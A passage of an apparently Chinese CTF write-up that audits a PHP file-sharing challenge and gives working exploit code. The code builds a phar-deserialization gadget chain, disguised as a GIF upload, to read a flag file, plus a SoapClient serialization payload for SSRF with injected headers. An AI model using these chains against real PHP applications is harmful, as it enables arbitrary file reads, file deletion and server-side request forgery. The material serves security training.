$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
通过这个文件可以得到如何上传除图片外的文件,修改类型即可。
- delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
- download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
代码很简单,但是我们需要注意到使用了ini_set()
函数将php脚本访问的路径限制在了当前工作目录和/etc
目录和/tmp
目录,也就基本可以确定这里有利用点但是被限制,同时注意到delete.php
并没有该限制,没有别的发现,查看class.php
文件
- class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
简单审计可以发现该文件里面定义了三个类,并且User
类还定义了magic方法,并且通过这个方法可以去调用FileList::close()
或者File::close()
,分别查看两个方法,发现File::close()
的返回值为file_get_contents($this->filename);
,!!这不就是我们苦苦寻找的危险函数吗该函数会自动反序列化phar://伪协议meta内容,但是注意到这里并没有回显,只是返回而已,查看剩下的FileList
类,重点关注magic方法,发现会将results
结果进行打印,并且results
值可控,可以使其为File::close()
返回值,原因是__call()
方法会对results
进行赋值,并且恰好能被赋值File::close()
,那么调用链就很清晰了,下面构造调用链
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user = new User();
$phar = new Phar("shell.phar");
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($user);
$phar->addFromString("shell.txt","haha");
$phar->stopBuffering();
然后就是常规的文件上传修改类型,下一步就该寻找如何去触发这个函数了,由于下载有路径限制,那就尝试删除
成功获取 flag{ea55fd48-2969-49d8-ad2b-00598ff2da33}
原生类利用#
内置类#
使用以下脚本可以打印出php本身内置类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
echo $class . '::' . $method."\n";
}
}
}
ZipArchive::open()#
查看官方介绍
ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件,该特性在一定条件下可以用于删除文件,当然前提是存在open函数来进行触发。
SoapClient::__call()#
<?php
$target = 'http://127.0.0.1:5555/Z1';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
// 构造 HTTP 头部信息
$http_headers = array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: wupco',
'Content-Length: ' . strlen($post_string)
);
$http_headers = array_merge($http_headers, $headers);
// 拼接 HTTP 请求头部
$request_headers = implode("\r\n", $http_headers);
// 构造 SoapClient 请求
$options = array(
'location' => $target,
'user_agent' => 'wupco',
'uri' => 'aaab',
'stream_context' => stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => $request_headers,
'content' => $post_string
)
))
);
// 创建 SoapClient 实例
$b = new SoapClient(null, $options);
// 序列化 SoapClient 实例
$aaa = serialize($b);
// 替换特殊字符
$aaa = str_replace("\r\n", '%0d%0a', $aaa);
$aaa = str_replace('&', '%26', $aaa);
// 输出序列化结果
echo $aaa;
unserialize($aaa)->no_exit();
Ending……#
https://xz.aliyun.com/t/9293?time__1311=n4%2BxnD0DuAG%3D34xmx05%2BbDyAYbPD5wN4v34x#toc-17
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!